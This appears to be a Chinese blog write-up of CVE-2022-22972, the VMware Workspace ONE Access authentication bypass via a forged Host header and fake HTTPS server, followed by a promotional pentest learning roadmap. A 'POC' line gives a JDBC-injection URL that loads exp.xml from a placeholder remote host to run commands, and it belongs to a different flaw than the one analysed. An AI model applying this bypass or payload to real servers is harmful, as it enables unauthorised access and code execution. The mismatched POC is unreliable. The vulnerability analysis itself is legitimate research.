5 月 18 日,VMware 发布了一份公告 ( VMSA-2022-0014 ),以解决多个 VMware
产品中的两个漏洞,其中包括CVE-2022-22972,该漏洞在身份认证处理时存在一定缺陷。远程攻击者可通过伪造相关请求信息来绕过身份验证,从而获取相关应用程序的管理权限。
VMware是一家提供全球桌面到数据中心虚拟化解决方案的厂商,其推出的产品包括我们最熟悉的VMware
Workstation,一款桌面虚拟计算软件。此次漏洞涉及的多个产品介绍如下:
VMware Workspace ONE Access 是 VMware 公司开发的一款智能驱动型数字化工作空间平台,通过 Workspace ONE
Access 能够随时随地在任意设备上轻松、安全地交付和管理任意应用。VMware vRealize Automation
是自动化部署方案云管平台。VMware Cloud Foundation 是 VMware公司混合云平台。vRealize Suite Lifecycle
Manager 是 vRealize Suite 生命周期和内容管理平台。
VMware Workspace ONE Access 21.08.0.1, 21.08.0.0,20.10.0.1, 20.10.0.0
VMware Identity Manager(vIDM) 3.3.6, 3.3.5, 3.3.4, 3.3.3
VMware vRealize Automation(vIDM) 7.6
VMware Cloud Foundation (vIDM) 4.4, 4.3.x, 4.2.x, 4.1, 4.0.x
VMware Cloud Foundation (vRA) 3.x
vRealize Suite Lifecycle Manager(vIDM) 8.x
简单回顾下CVE-2022-22954(VMware Workspace ONE Access
SSTI漏洞),属于模板注入漏洞,恶意攻击者可以利用此漏洞在未经过身份验证的情况下进行远程任意代码执行;CVE-2022-22957(VMware
Workspace ONE Access
JDBC注入漏洞),由于相关参数完全可控,恶意攻击者可实行JDBC注入,通过写入任意文件等方式获取系统权限。此次的CVE-2022-22972,同样选择VMware
Workspace ONE Access漏洞版本来进行分析,并详细记录环境搭建和漏洞分析复现过程。
先从官网(https://customerconnect.vmware.com/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1269)下载VMware
Workspace ONE Access 21.08.0.1 OVA文件
使用VMware
Workstation导入OVA文件,配置FQDN(主机名设置为随机域名,不然后续配置数据库时会报错)。
导入成功后会进行初始化,完成后出现如下信息。
访问https://<域名:8443>,根据提示进行账号和数据库配置。
按照要求,一步一步完成配置即可。
为搭建动态调试环境,需将相关源码保存到本地,并使用IDEA开启远程调试
需要的lib文件位于/usr/local/horizon/lib/embeddedauthadapters目录下。
IDEA配置远程调试。
将远程调试命令写入/opt/vmware/horizon/workspace/bin/setenv.sh。
重启服务之后,配置iptables防火墙,允许数据包通过INPUT链和OUTPUT链。
最后访问https://<域名>,到登陆页面,环境搭建成功。
抓取登陆数据包,修改Host头为tessdadddd后进行重放。
回到vmware中,查看/opt/vmware/horizon/workspace/logs/horizon.log
在日志中发现,vm对任意输入的host头,发送了HTTP请求,并且因为无法解析而抛出异常。
同时,根据日志信息中整个认证的调用栈,我们将分析的开端定位在local-password-auth-adapter-0.1.jar中。
分析com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login函数。
在获取到账号密码等信息之后,通过getLocalUrl函数来提取参数endpoint
跟进com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#getLocalUrl函数。
在getLocalUrl函数中,会构造出一个新的HTTPS请求,其中的主机地址则是通过request.getServerName从HOST头中直接获取。因此这也为我们绕过认证伪造主机地址创造了条件。
继续跟进将回到com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login
此时的endpoint即为新构造的HTTPS请求,主机名则为我们任意输入的tessdadddd。
后续,则会调用authenticate函数来完成认证。
在com.vmware.horizon.adapters.local.LocalPasswordService#authenticate中可以发现。
通过之前的HTTPS请求,使用POST方式发送,后续会直接根据请求返回的状态码来判断是否认证成功,若状态码为200,即认证成功。因此可通过伪造HOST头和伪造HTTPS服务器并保证对任何请求返回状态200,即可实现认证绕过。
伪造HTTPS服务器,满足对任意请求都返回200。
修改HOST为伪造的HTTPS服务器地址,成功绕过认证并获取有效cookie。
POC
jdbc:postgresql://xxx.xxx.com/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://xxx/exp.xml
exp.xml
cmd /c whoami
分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取
有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:
高清学习路线图或XMIND文件(点击下载原文件)
还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】